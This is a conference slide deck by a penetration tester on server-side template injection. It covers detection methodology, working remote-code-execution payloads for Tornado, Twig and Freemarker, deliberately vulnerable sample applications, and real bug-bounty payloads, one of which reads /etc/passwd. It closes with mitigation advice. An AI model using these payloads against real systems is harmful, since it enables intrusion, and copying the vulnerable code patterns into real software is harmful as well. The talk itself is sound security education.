Server Side Template Injection

By Gerome Dieu

 

About me

 

Gerome Dieu

Appsec | Pen tester at IBM X-Force Red     

8+ year of experience in IT

Love breaking things as much as I love building them

CTF player

Agenda

 

  • Template Engine

  • Template Injection

  • Methodology

  • Examples

  • References

What is a Template Engine?

 

  • Modern web applications

  • Program-logic vs presentation

  • Users/products information

  • Gallery of photos, videos

  • Send bulk emails

What is a Template Engine?

 

http://dwoo.org/what-dwoo.html

Jinja/Flask example

 

from jinja2 import Environment, FileSystemLoader
import os

#  current directory
my_dir = os.path.dirname(os.path.abspath(__file__))

def render_html_page():
    # jinja2 environment
    env = Environment(loader=FileSystemLoader(my_dir),\
                      trim_blocks=True)
    print env.get_template('template.html').render\
          (title='Hello gdieu from Confoo Montreal')

if __name__ == '__main__':
    render_html_page()
<html>
<head>
<title>Template Example</title>
</head>
<body>

{{ title }}

</body>
</html>

What is a Template Injection?

 

  • Blackhat 2015, James Kettle

  • Invalid user input

  • Injection in template context

  • Remote code execution (RCE)

  • Developer errors or intentional exposure

  • Easy to miss

Common Template Engines

 

 Smarty, Twigs

Velocity, Freemarker

 Jinja, Mako, Tornado

 Jade, Rage

Liquid, Slim, ERB

How about

the methodology

 

Are you using a Template Engine?

 

  • Plaintext:

     Hello{5*2} => Hello 10

 

  • Code Context:

     var=username}} <tag> => gdieu}} <tag>

 

  • Classic syntax :

     {exp}, {{exp}}, ${exp}, <%exp%>..

Which one?

 

http://blog.portswigger.net/2015/08/server-side-template-injection.html

Let's try to exploit it!

 

Read the documentation

 

  • Security consideration 

  • configuration environment

  • extensions/plugins

  • built-in methods

  • filters…

     

     

Explore the environment

 

  • Expose self object

  • brute force variable names

     

     

     

Attack the template

 

  • Trigger object creation

  • read/write files

  • privilege escalation

  • Remote Code Execution (RCE)...

     

     

Now, let's practice!

 

Tornado, a Python example

 

  • A Python Web Framework

  • Includes a templating language

  • Good syntax reference

  • Import Python modules

Syntax Reference

 

{% import module_name %}

Equivalent to  the python import statement.

 

 

 

http://www.tornadoweb.org/en/stable/template.html?highlight=templating#syntax-reference

Let's exploit it

 

{%import os%}{{os.popen("id").read()}

The vulnerable Python template

 


MY_TEMPLATE = '''
<html>
 <head><title> Hello World! </title></head>
 <body> Hello yourName </body>
</html>
'''
class myMainHandler(tornado.web.RequestHandler):

    def get(self):
        name = self.get_argument('name', '')
        vuln_template = MY_TEMPLATE.replace("yourName",name)
        t = tornado.template.Template(vuln_template)
        self.write(t.generate(name=name))


class my404Handler(tornado.web.RequestHandler):

    def prepare(self):
        self.set_status(404)
        self.render("404.html")

application = tornado.web.Application([
    (r"/", myMainHandler),], default_handler_class=my404Handler, 
    debug=False, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000, address='0.0.0.0')
    tornado.ioloop.IOLoop.instance().start()

Twig, a PHP template

 

  • Template engine for  PHP

  • Cast to strings

  • self object

  • Twig_environment

  • Sandbox mode

Take a look at the Twig_environment

 

850   public function getFilter($name)
        {
            ...
            ...
            foreach ($this->filterCallbacks as $callback) {
                if (false !== $filter = call_user_func($callback, $name)) {
                    return $filter;
                }
            }
            return false;
        }
    
    
        public function registerUndefinedFilterCallback($callable)
        {
            $this->filterCallbacks[] = $callable;
        }

https://github.com/twigphp/Twig/blob/e22fb8728b395b306a06785a3ae9b12f3fbc0294/lib/Twig/Environment.php

What does call_user_func do?

 

http://php.net/manual/en/function.call-user-func.php

The exploit in action!

 

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

The vulnerable PHP template

 

<?php
if (isset($_GET['submit'])) {
$name=$_GET['name'];
...
...
Twig_Autoloader::register();
try {
  $loader = new Twig_Loader_String();
  $twig = new Twig_Environment($loader);
  // render template
  $result= $twig->render($name);
  echo "Hello $result";
    } 
  catch (Exception $e) {
  die ('ERROR: ' . $e->getMessage());}
}
?>

Freemarker, a JAVA template

 

  • Template engine for JAVA

  • Security Concern

  • TemplateModel

  • The new built-in

  • Execute Class

  • FTL tag Assign

The new built-in

 

https://freemarker.apache.org/docs/ref_builtins_expert.html#ref_builtin_new

Class Execute

 

Create a new variable

 

<#assign name=value>

 

 

<#assign name_of_the_var = "The full-qualified class name of a TemplateModel"?new()>

 

 

Let's exploit it

 

<#assign var="freemarker.template.utility.Execute"?new()> ${ var("id") }

The vulnerable JAVA template

 

    private static final String s  = "<#escape x as x?html>Hello %s</#escape>";
   
    private Configuration templateEngine = null;

  
    @PostConstruct
    public void init() {
        this.templateEngine = new Configuration(new Version("2.3.23"));
        this.templateEngine.setDefaultEncoding("UTF-8");
        this.templateEngine.setLocale(Locale.US);
         ...
         ...
    }


    @PostMapping("/display")
    public void display(@RequestParam final String name, 
                        final HttpServletResponse response) throws Exception {
        final String input = String.format(s, ((name == null) ? "" : name));
        Template t = new Template(UUID.randomUUID().toString(), 
                     new StringReader(input), this.templateEngine);
        try (Writer result = new OutputStreamWriter(response.getOutputStream())) {
            t.process(null, result);
        }
    }

Some real-life examples: Uber

https://hackerone.com/reports/125980 - Credit Orange Tsai

{{ '7'*7 }}

{{ [].class.base.subclasses() }}

Some real-life examples: UNIKRN

https://hackerone.com/reports/164224- Credit yaworsk

{7*7}

{php}$s=file_get_contents('/etc/passwd',NULL, NULL, 0, 100);var_dump($s);{/php}

Some real-life examples: CraftCMS

www.securify.nl/advisory/SFY20160608/craft_cms_affected_by_server_side_template_injection.html

Can you avoid Template Injections?

 

  • A trivial template engine such as Mustache

  • A simple Python’s template

  • A sandbox within a safe environment

References

 

Portswigger (James kettle):

http://blog.portswigger.net/2015/08/server-side-template-injection.html (portswigger)

 

Template injection in Flask/jinja2

https://nvisium.com/resources/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii.html

 

Comparison of Template Engines:

https://en.wikipedia.org/wiki/Comparison_of_web_template_engines

Questions?

 

@_gdieu

gerome.dieu@gmail.com

https://www.linkedin.com/in/geromedieu/

Made with Slides.com